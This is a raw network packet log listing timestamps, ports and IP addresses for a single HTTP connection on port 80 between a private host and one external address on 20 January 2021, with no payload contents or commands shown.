Jan 20, 2021 16:13:27.136903048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136924982 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.136935949 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136960983 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.136960983 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137003899 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137027025 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137064934 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137105942 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137137890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137140989 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137164116 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137172937 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137190104 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137206078 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137217045 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137238979 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137242079 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137252092 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137268066 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137278080 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137291908 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137304068 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137320042 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137331009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137347937 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137353897 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137373924 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137402058 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137412071 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137417078 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137443066 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137453079 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137479067 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137482882 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137516022 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137521029 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137546062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137557030 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137569904 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.137582064 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.137607098 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.207783937 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.207818985 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.207840919 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.207869053 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.207901001 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.207976103 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.208013058 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.208026886 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.208053112 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.208053112 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.208062887 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.208079100 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.208093882 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.208118916 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220413923 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220495939 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220551014 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220554113 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220585108 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220592022 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220599890 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220633030 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220649004 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220690966 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220693111 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220731974 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220741987 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220781088 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220787048 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220824957 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220830917 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220870972 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220875978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220912933 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220920086 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.220958948 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.220963955 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221005917 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221008062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221045017 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221052885 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221090078 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221101999 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221149921 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221174002 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221193075 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221204996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221230984 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221237898 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221273899 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221280098 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221317053 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221323013 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221363068 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221366882 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221404076 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221436024 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221474886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221477985 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221513987 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221527100 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221566916 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221573114 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221611977 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221615076 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221652985 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221659899 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221698999 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221704006 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221741915 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221745968 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221795082 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221815109 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221858978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221859932 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221894979 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221900940 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221936941 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.221944094 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.221978903 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.222001076 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.222040892 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.222232103 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.280539036 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280575991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280602932 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280628920 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280652046 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280678034 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280697107 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280715942 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.280715942 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.280759096 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.280762911 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.280765057 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.293711901 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.293737888 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.293762922 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.293787003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.293859005 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.293905973 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296180010 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296212912 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296262980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296293974 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296343088 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296350956 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296375990 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296392918 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296396971 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296401978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296413898 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296427965 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296442032 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296478033 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296772957 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296797991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296854973 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.296901941 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296938896 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.296950102 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297003984 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297024012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297054052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297065020 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297096014 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297097921 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297133923 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297144890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297144890 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297179937 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297183990 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297215939 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297220945 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297256947 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297256947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297281027 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297291994 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297307014 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297317028 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297343016 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297343969 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297377110 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297410965 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297441006 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297451019 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297472954 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297477007 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297507048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297509909 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297544003 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297558069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297590017 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297594070 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297614098 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297625065 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297638893 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297657967 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297663927 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297688961 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297712088 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297719955 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297728062 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297736883 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.297739029 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297765970 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297785997 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.297940016 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.354712009 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354751110 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354770899 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354790926 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354809999 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354831934 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354854107 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354877949 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.354935884 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.357165098 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.365712881 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.365746975 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.365766048 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.365792990 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.365890980 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.368016005 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.368906021 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.368936062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.368967056 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.368971109 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.368993044 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.368997097 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369040012 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369085073 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369086027 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369126081 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369127989 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369152069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369170904 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369175911 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369204998 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369210958 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369220972 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369245052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369263887 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369271040 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369283915 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369294882 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369304895 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369329929 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369791031 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369812965 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369857073 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369873047 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369882107 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.369901896 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369921923 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.369973898 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370014906 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370032072 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370054007 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370070934 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370090008 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370099068 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370124102 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370137930 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370150089 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370151997 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370183945 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370183945 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370219946 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370234966 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370260954 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370270014 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370284081 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370296001 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370311022 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370316982 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370352030 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370366096 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370403051 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370404005 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370429039 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370439053 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370452881 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370476007 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370476961 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370491028 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370501995 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370511055 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370524883 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370537996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370548010 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370558023 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370572090 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370584011 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370595932 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.370599985 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370685101 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.370845079 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.426841974 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.426871061 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.426897049 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.426922083 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.426944017 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.426968098 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.427021027 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.427985907 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.428889990 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.428920031 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.428942919 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.428967953 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.428986073 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.429013014 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.429018021 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.437686920 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.437720060 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.437832117 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.439579010 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.439610958 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.439723969 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.439763069 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.440982103 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441023111 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441066027 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441066027 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441085100 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441112041 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441112041 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441138029 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441148996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441160917 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441173077 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441210032 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441212893 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441237926 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441246986 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441261053 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441262007 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441284895 CET	80	49167	46.28.239.13	192.168.2.22
